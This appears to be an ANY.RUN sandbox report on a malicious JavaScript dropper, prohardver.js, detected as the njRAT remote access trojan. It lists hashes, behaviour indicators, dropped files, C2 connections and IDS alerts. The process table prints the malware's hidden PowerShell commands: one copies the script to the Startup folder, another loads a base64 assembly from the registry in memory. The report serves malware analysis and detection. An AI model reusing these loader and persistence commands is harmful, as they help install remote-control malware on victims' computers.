Malware analysis prohardver.js Malicious activity | ANY.RUN

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File name:	prohardver.js
Full analysis:	https://app.any.run/tasks/4d257c8a-bddf-4bba-b4d7-9efff40e244e
Verdict:	Malicious activity
Threats:	njRAT is a remote access trojan. It is one of the most widely accessible RATs on the market that features an abundance of educational information. Interested attackers can even find tutorials on YouTube. This allows it to become one of the most popular RATs in the world. Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	March 22, 2019, 13:17:56
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	trojan rat njrat bladabindi
Indicators:
MIME:	text/plain
File info:	ASCII text, with very long lines, with no line terminators
MD5:	6D0ED23A79DA09B3C010272E29F576A9
SHA1:	AA3365FB054E8C498E8B01D670A8EE68D58B7D9C
SHA256:	9949AA0A2EAC8708B9F60196E9D8AB3A3142CC475A46B224628F1D790E5819F6
SSDEEP:	768:d7G/gfRoRLwheZs98T85xa6esNb+BHFQXdYbuVtHOvRqpYysKCDpQ4:d7G/ktE2SIrrb+jiLOpWY1T

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Writes to a start menu file
  - powershell.exe (PID: 1796)
- Connects to CnC server
  - powershell.exe (PID: 2320)
- NJRAT was detected
  - powershell.exe (PID: 2320)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 1796)
  - powershell.exe (PID: 2320)
- Executes PowerShell scripts
  - WScript.exe (PID: 2828)
- Connects to unusual port
  - powershell.exe (PID: 2320)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
2828	"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\prohardver.js"	C:\Windows\System32\WScript.exe	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385
1796	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\prohardver.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Local\Temp\prohardver.js'))"	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		WScript.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255)
2320	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'start').start;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		WScript.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255)

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Total events

461

Read events

322

Write events

Delete events

Modification events

No data

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
1796	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2KYCRFDG1FMJ8JZ5W44O.temp		—
		MD5:—	SHA256:—
2320	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FND94TLXAUDF38YW5LJE.temp		—
		MD5:—	SHA256:—
2320	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:16D0FD6E07266B2C15A9D7BC6623F506	SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
2320	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1009e5.TMP		binary
		MD5:16D0FD6E07266B2C15A9D7BC6623F506	SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
1796	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:16D0FD6E07266B2C15A9D7BC6623F506	SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
1796	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1009c6.TMP		binary
		MD5:16D0FD6E07266B2C15A9D7BC6623F506	SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
1796	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\prohardver.js		text
		MD5:6D0ED23A79DA09B3C010272E29F576A9	SHA256:9949AA0A2EAC8708B9F60196E9D8AB3A3142CC475A46B224628F1D790E5819F6

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2320	powershell.exe	104.20.208.21:443	pastebin.com	Cloudflare Inc	US	shared
2320	powershell.exe	194.5.97.145:21000	holydns.warzonedns.com	—	FR	malicious

DNS requests

Domain	IP	Reputation
pastebin.com	104.20.208.21 104.20.209.21	shared
holydns.warzonedns.com	194.5.97.145	malicious

Threats

PID	Process	Class	Message
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)
2320	powershell.exe	A Network Trojan was detected	MALWARE [PTsecurity] Lime-RAT (Gen.NjRAT)

8 ETPRO signatures available at the full report

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No debug info

General Info

prohardver.js

6D0ED23A79DA09B3C010272E29F576A9

AA3365FB054E8C498E8B01D670A8EE68D58B7D9C

9949AA0A2EAC8708B9F60196E9D8AB3A3142CC475A46B224628F1D790E5819F6

768:d7G/gfRoRLwheZs98T85xa6esNb+BHFQXdYbuVtHOvRqpYysKCDpQ4:d7G/ktE2SIrrb+jiLOpWY1T

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Writes to a start menu file

Connects to CnC server

NJRAT was detected

SUSPICIOUS

Creates files in the user directory

Executes PowerShell scripts

Connects to unusual port

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings